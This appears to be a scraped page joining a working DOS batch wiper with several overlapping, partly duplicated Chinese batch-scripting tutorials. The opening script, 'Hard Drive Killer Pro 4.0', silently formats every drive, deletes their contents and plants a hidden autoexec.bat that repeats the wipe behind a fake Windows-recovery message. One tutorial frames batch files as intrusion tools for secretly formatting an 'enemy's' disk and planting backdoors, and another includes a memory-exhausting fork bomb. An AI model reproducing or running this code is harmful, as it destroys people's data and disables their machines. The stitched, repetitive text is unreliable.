------------------------ cut here then save as .bat or .cmd file ---------------------------@echo offrem This program is dedecated to a very special person that does not want to be named.:startclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .call attrib -r -h c:\autoexec.bat >nulecho @echo off >c:\autoexec.batecho call format c: /q /u /autoSample >nul >>c:\autoexec.batcall attrib +r +h c:\autoexec.bat >nulrem Drive checking and assigning the valid drives to the drive variable.set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y zrem code insertion for Drive Checking takes place here.rem drivechk.bat is the file name under the root directory.rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d\*amn to complicated for the average or even the expert batchprogrammer.rem Except for Tom Lavedas.echo @echo off >drivechk.batecho @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 goto enddc >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem When errorlevel is 1, then the above is not true, if 0, then it's true.rem Opposite of binary rules. If 0, it will elaps to the next command.echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" >nul >{t}.bat%comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 goto enddc >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.rem if errorlevel is 0, then it will elaps to the next command.echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat%comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.batecho if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.batclsecho PLEASE WAIT WHILE PROGRAM LOADS . . .rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.echo :enddc >>drivechk.batrem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".rem Now we will use the program drivechk.bat to attain valid drive information.:Sampledrvfor %%a in (%alldrive%) do call drivechk.bat %%a >nuldel drivechk.bat >nulif %drive.==. set drive=c:form_delcall attrib -r -h c:\autoexec.bat >nulecho @echo off >c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) do call format %%%%a: /q /u/autoSample >nul >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) do call c:\temp.bat %%%%aBunga >nul >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) do call format %%%%a: /q /u/autoSample >nul >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) do call c:\temp.bat %%%%aBunga >nul >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Loading Windows, please wait while Microsoft Windows recovers yoursystem . . . >>c:\autoexec.batecho for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.batecho cd\ >>c:\autoexec.batecho cls >>c:\autoexec.batecho echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version4.0. >>c:\autoexec.batecho echo If you ran this file, then sorry, I just made it. The purpose of this program is totell you the following. . . >>c:\autoexec.batecho echo 1. To make people aware that security should not be taken forgranted. >>c:\autoexec.batecho echo 2. Love is important, if you have it, truly, don't let go of it like Idid! >>c:\autoexec.batecho echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HDis dead. >>c:\autoexec.batecho echo 4. Don't support the following: War, Racism, Drugs and the LiberalParty.>>c:\autoexec.batecho echo. >>c:\autoexec.batecho echo Regards, >>c:\autoexec.batecho echo. >>c:\autoexec.batecho echo Munga Bunga >>c:\autoexec.batcall attrib +r +h c:\autoexec.bat:makedirif exist c:\temp.bat attrib -r -h c:\temp.bat >nulecho @echo off >c:\temp.batecho %%1:\ >>c:\temp.batecho cd\ >>c:\temp.batecho :startmd >>c:\temp.batecho for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2")do %%%%a >>c:\temp.batecho for %%%%a in (">bottom_hole.txt") do echo %%%%a Your Gone@$$hole!!!! >>c:\temp.batecho if notexist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%% 2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nulgoto startmd >>c:\temp.batcall attrib +r +h c:\temp.bat >nulclsecho Initializing Variables . . .rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created abovefor further destruction.for %%a in (%drive%) do call format %%a: /q /u /autoSample >nulclsecho Initializing Variables . . .echo Validating Data . . .for %%a in (%drive%) do call c:\temp.bat %%a Munga >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .for %%a in (%drive%) call attrib -r -h %%a:\ /S >nulcall attrib +r +h c:\temp.bat >nulcall attrib +r +h c:\autoexec.bat >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .echo Initializing Application . . .for %%a in (%drive%) call deltree /y %%a:\*. >nulclsecho Initializing Variables . . .echo Validating Data . . .echo Analyzing System Structure . . .echo Initializing Application . . .echo Starting Application . . .for %%a in (%drive%) do call c:\temp.bat %%a Munga >nulclsecho Thank you for using a Munga Bunga product.echo.echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.echo.echo Here is a joke for you . . .echo.echo Q). What's the worst thing about being an egg?echo A). You only get laid once.echo.echo HAHAHAHA, get it? Don't you just love that one?echo.echo Regards,echo.echo Munga Bunga:endrem Hard Drive Killer Pro Version 4.0, enjoy!!!!rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help meget out of here).六.精彩实例放送。
简明批处理教程
簡明批次處理教程前言最近對於批次處理技術的探討比較熱,也有不少好的批次處理程式發佈,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批次檔案,也就更談不上自己動手編寫了,古語雲:“授人以魚,不如授人以漁。
”因爲網上好像並沒有一個比較完整的教材,所以抽一點時間寫了這片<<簡明批次處理教程>>給新手朋友們.也獻給所有爲實現網路的自由與共用而努力的朋友們.批次檔案是無格式的文字檔案,它包含一條或多條命令。
它的文件副檔名爲.bat 或.cmd。
在命令提示下鍵入批次檔案的名稱,或者雙擊該批次檔案,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。
使用批次檔案(也被稱爲批次處理程式或腳本),可以簡化日常或重復性任務。
當然我們的這個版本的主要內容是介紹批次處理在入侵中一些實際運用,例如我們後面要提到的用批次檔案來給系統打補丁、批量植入後門程式等。
下面就開始我們批次處理學習之旅吧。
一.簡單批次處理內部命令簡介1.Echo 命令打開回顯或關閉請求回顯功能,或顯示消息。
如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法echo [{on|off}] [message]Sample:@echo off / echo hello world在實際應用中我們會把這條命令和重定向符號(也稱爲管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令表示不顯示@後面的命令,在入侵過程中(例如使用批次處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。
批处理详细教程
批处理详细教程命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:1、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparms2、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR 命令时,指定变量请使用%%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。
可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable而不要用%variable。
变量名称是区分大小写的,所以%i 不同于%I如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
简明批处理教程
简明批处理教程简明批处理教程-1前⾔最近对于批处理技术的探讨⽐较热,也有不少好的批处理程序发布,但是如果没有⼀定的相关知识恐怕不容易看懂和理解这些批处理⽂件,也就更谈不上⾃⼰动⼿编写了,古语云:“授⼈以鱼,不如授⼈以渔。
”因为⽹上好像并没有⼀个⽐较完整的教材,所以抽⼀点时间写了这⽚<<简明批处理教程>>给新⼿朋友们.也献给所有为实现⽹络的⾃由与共享⽽努⼒的朋友们.批处理⽂件是⽆格式的⽂本⽂件,它包含⼀条或多条命令。
它的⽂件扩展名为.bat 或.cmd。
在命令提⽰下键⼊批处理⽂件的名称,或者双击该批处理⽂件,系统就会调⽤Cmd.exe按照该⽂件中各个命令出现的顺序来逐个运⾏它们。
使⽤批处理⽂件(也被称为批处理程序或脚本),可以简化⽇常或重复性任务。
当然我们的这个版本的主要内容是介绍批处理在⼊侵中⼀些实际运⽤,例如我们后⾯要提到的⽤批处理⽂件来给系统打补丁、批量植⼊后门程序等。
下⾯就开始我们批处理学习之旅吧。
⼀.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显⽰消息。
如果没有任何参数,echo 命令将显⽰当前回显设置。
语法echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应⽤中我们会把这条命令和重定向符号(也称为管道符号,⼀般⽤> >> ^)结合来实现输⼊⼀些命令到特定格式的⽂件中.这将在以后的例⼦中体现出来。
2.@ 命令表⽰不显⽰@后⾯的命令,在⼊侵过程中(例如使⽤批处理来格式化敌⼈的硬盘)⾃然不能让对⽅看到你使⽤的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使⽤/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是⼀样的。
批处理bat详细教程 完整版
这个教程也是我迄今为止见过的写得最好的BAT教程,为什么我这么讲:1.这个教程非常全面2.教程大量采用实例讲解,简单易懂3.作者很有心,在教程中间插入了许多有趣的东西,让大家学习过程当中不在感到枯燥[不过在这里为了方便大家收录,我给去掉了,SORRY啊]4.教程写得很细。
5.由于教程非常全面,完成可以把它当作你学习的参考资料,在遇到问题的时候在这里一般都可以找到解决的方法。
在学习之前请作好心理准备,因为教程很长,不过大家也不要着急,一口是吃不成胖子的,慢慢来!第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、ATTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
批处理教程
批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BA T!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
其次, ::也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
语法:FOR %%variable IN (set) DO command [command-parameters]
对一组文件中的每一个文件执行某个特定命令。
%%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通8、call
在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。
9、find
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。
下例中,如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“8000”,就必须得给出这个a.txt的绝对路径,如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”指的就是type命令了。
.bat是dos下的批处理文件; .cmd是nt内核命令行环境的另一种批处理文件
首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令,你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
二、
批处理常用命令
1、@
它的作用是隐藏它后面这一行的命令本身(只能影响当前行)。
2、echo
中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果。
@echo off
color 1a
reg add HKCR\.bat\ShellNew /v nullfile /f >nul
reg add HKCR\batfile /ve /d P处理 /f >nul
exit
:2
Exit
6、%
这个百分号严格来说是算不上命令的,它只是批处理中的参数。
start /wait :
start命令会启动软件的安装程序,而/wait命令会让系统在处理批处理文件中的下一条命令之前等待前一个软件安装完成。使用/wait命令是很重要的,只有这样才不会让批处理文件中的所有命令一下子全部执行起来,那样将会导致同一时间运行多个软件的安装程序。
如:几秒钟让你的内存耗尽(例一):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。
以bat为扩展名的批处理程序:由 (事先载入内存)解释分析,分析一行,执行一行,文件本身不载入内存,这就是区别于.exe文件(exe载入内存)
C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中
如: set /p start=请选择 (1、2、3) 后按回车键:
if "%start%"=="1" goto 1
if "%start%"=="2" goto 2
if "%start%"=="3" goto 3
管道命令:
1、|
它的作用,就是把前一命令执行的结果传到后一命令去处理。
@echo off
set var=我是值
echo %var%
pause
保存为BAT执行,我们会看到CMD里返回一个 "我是值"
var为变量名,=号右边的是要给变量的值
这就是最简单的一种设置变量的方法了
如果我们想让用户手工输入变量的值,而不是在代码里指定,可以用用set命令的/p参数
然后输入 test.bat 我是第一个参数
我是第二个参数
我是第三个参数
注意中间的空格,我们会看到这样的结果:
我是第一个参数
我是第二个参数
我是第三个参数
我是第一个参数
我是第二个参数
我是第三个参数
对比下代码,%1就是我是第一个参数 %2就是我是第二个参数
还有一个%* 他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数的值,不用在输入%1 %2来确定一个个的
@Echo off
Start
cmd:开启CMD程序)
%0
4、pause
中文为“暂停”的意思。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。我们可以加 >nul把这个信息隐藏。
5、:和goto
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了。如:为你的右键添加P处理(例二)
if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
再如例二。
(2)、存在判断。例:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件,就删除这些文件。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。例:
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
FOR %%a IN ( C: D: E: F: G: H: ) DO ATTRIB -R -H -S %%a\SXS.EXE & DEL /F /Q /A -R -H -S %%a\SXS.EXE & ATTRIB -R -H -S %%a\AUTORUN.INF & DEL /F /Q /A -R -H -S %%a\AUTORUN.INF
该命令删除根目录下所有SXS.EXE和AUTORUN.INF文件.
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。直接在命令行则只需要一个%号。变量名称是区分大小写的,所以 %i 不同于 %I
11、SET
显示、设置或删除 cmd.exe 环境变量。
批处理简明教程
一、
什么是批处理
批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。
例子
@echo off
echo %*
同样保存为test.bat 放到C盘
进入CMD,输入cd c:\
然后输入 test.bat 我是第一个参数
我是第二个参数
我是第三个参数
我是第四个参数
可以看到他一次把全部参数都显示出来了
现在说自定义变量
故名思意,自定义变量就是由我们来给他赋予值的变量;要使用自定义变量就得使用set命令了,看例子.
@echo off
cd\
netstat -an > a.txt
type a.txt | find "8000" && echo "Congratulations! You have infected 灰鸽子!"
del a.txt
pause & exit
10、for
循环命令,只要条件符合,它将多次执行同一命令。
要显示当前环境变量,键入不带参数的 SET。
/P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入行之前,显示指定的 promptString。promptString 可以是空的。